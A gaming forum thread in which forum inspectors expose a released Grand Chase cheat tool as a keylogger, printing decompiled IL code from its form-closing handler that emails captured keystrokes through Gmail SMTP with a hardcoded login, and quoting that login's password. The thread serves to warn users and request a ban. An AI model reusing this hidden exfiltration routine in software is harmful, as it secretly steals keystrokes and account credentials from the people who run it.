[RELEASE] [GCPH] SD Hack + Left mobs by .Dante

[Grand Chase Inspectors]

General Issue from .Shana and .Kanade

A message to all,

We have confirmed that .Dante's program was having a suspicious function on his updated program.
.Kanade just lied from the observation to confirm that .Dante is lying about that he is just getting the HWIDs (Hardware ID) of your computer.

We have logged in the e-mail he is using and check what are the informations that are sent.
The result was such spammed texts as a result of keylogging.

Image as a proof that it was a keylogging application

Spoiler

[Only registered and activated users can see links. Click Here To Register...]

We also see that some accounts are included there but we removed it for safety of others' accounts.
This is the e-mail information that .Dante used to send the keylogs. (as seen in the event code below)

Quote:

loc_63BA50: ldstr "[Only registered and activated users can see links. Click Here To Register...]"
loc_63BA55: ldstr "078475698"

Note: The password has been changed by .Kanade to prevent others from opening this e-mail and to prevent the program from sending the keylogs into the e-mail.

Q: When does the program send the keylogs?
A: After you close it.

Event Codes (Program Closing)

Spoiler

Private sub Form1_FormClosing_63B9DC
Code: FatFormat
Start: 63B9E8
Size: 189
Flag: MoreSects InitLocals
Max Stack: 3
Local Variables: 11000036

loc_63B9E8: nop
loc_63B9E9: nop
loc_63B9EA: newobj .ctor
loc_63B9EF: stloc.0
loc_63B9F0: ldloc.0
loc_63B9F1: ldstr "dante.epvp@gmail"
loc_63B9F6: newobj .ctor
loc_63B9FB: callvirt set_From
loc_63BA00: nop
loc_63BA01: ldloc.0
loc_63BA02: callvirt get_To
loc_63BA07: ldstr "[Only registered and activated users can see links. Click Here To Register...]"
loc_63BA0C: callvirt Add
loc_63BA11: nop
loc_63BA12: ldloc.0
loc_63BA13: ldstr "Try User - .Dante"
loc_63BA18: callvirt set_Subject
loc_63BA1D: nop
loc_63BA1E: ldloc.0
loc_63BA1F: ldarg.0
loc_63BA20: callvirt get_RichTextBox1
loc_63BA25: callvirt get_Text
loc_63BA2A: callvirt set_Body
loc_63BA2F: nop
loc_63BA30: ldstr "smtp.gmail.com"
loc_63BA35: newobj .ctor
loc_63BA3A: stloc.1
loc_63BA3B: ldloc.1
loc_63BA3C: ldc.i4 587
loc_63BA41: callvirt set_Port
loc_63BA46: nop
loc_63BA47: ldloc.1
loc_63BA48: ldc.i4.1
loc_63BA49: callvirt set_EnableSsl
loc_63BA4E: nop
loc_63BA4F: ldloc.1
loc_63BA50: ldstr "[Only registered and activated users can see links. Click Here To Register...]"
loc_63BA55: ldstr "078475698"
loc_63BA5A: newobj .ctor
loc_63BA5F: callvirt set_Credentials
loc_63BA64: nop
loc_63BA65: ldloc.1
loc_63BA66: ldloc.0
loc_63BA67: callvirt Send
loc_63BA6C: nop
loc_63BA6D: ldstr "Thank You for using my program."
loc_63BA72: ldc.i4.s 64
loc_63BA74: ldstr "Thank you"
loc_63BA79: call MsgBox
loc_63BA7E: pop
loc_63BA7F: leave.s loc_63BAA2
loc_63BA81: dup
loc_63BA82: call SetProjectError
loc_63BA87: stloc.2
loc_63BA88: nop
loc_63BA89: ldstr "Disregard This Message."
loc_63BA8E: ldc.i4.s 16
loc_63BA90: ldstr "Fatal error"
loc_63BA95: call MsgBox
loc_63BA9A: pop
loc_63BA9B: call ClearProjectError
loc_63BAA0: leave.s loc_63BAA2
loc_63BAA2: ' Referenced from: 63BA7F
loc_63BAA2: ' Referenced from: 63BAA0
loc_63BAA2: nop
loc_63BAA3: nop
loc_63BAA4: ret

.try loc_63B9EA to loc_63BA81 catch handler loc_63BA81 to loc_63BAA2

End Sub

*Decompiled by using a program

Reminders:
1. We have no responsibility on your Grand Chase accounts when it is been banned or hacked..
2. Always check if a GCI member had confirmed that it is safe.
3. Always check if the Thread starter is a trusted person (see GCI Trusted Users on GCPH section)

A note to .Dante,

Spoiler

We don't know what you're planning out but we don't allow such things in this forum. As a programmer, we decompile things to make others safe from being threatened.
Remember to use your ideas without violating the rules.

Kind Regards,
.Shana and .Kanade

@Moderators,
Requesting for thread closure and link remove.
Requesting for ban. (Sorry .Dante)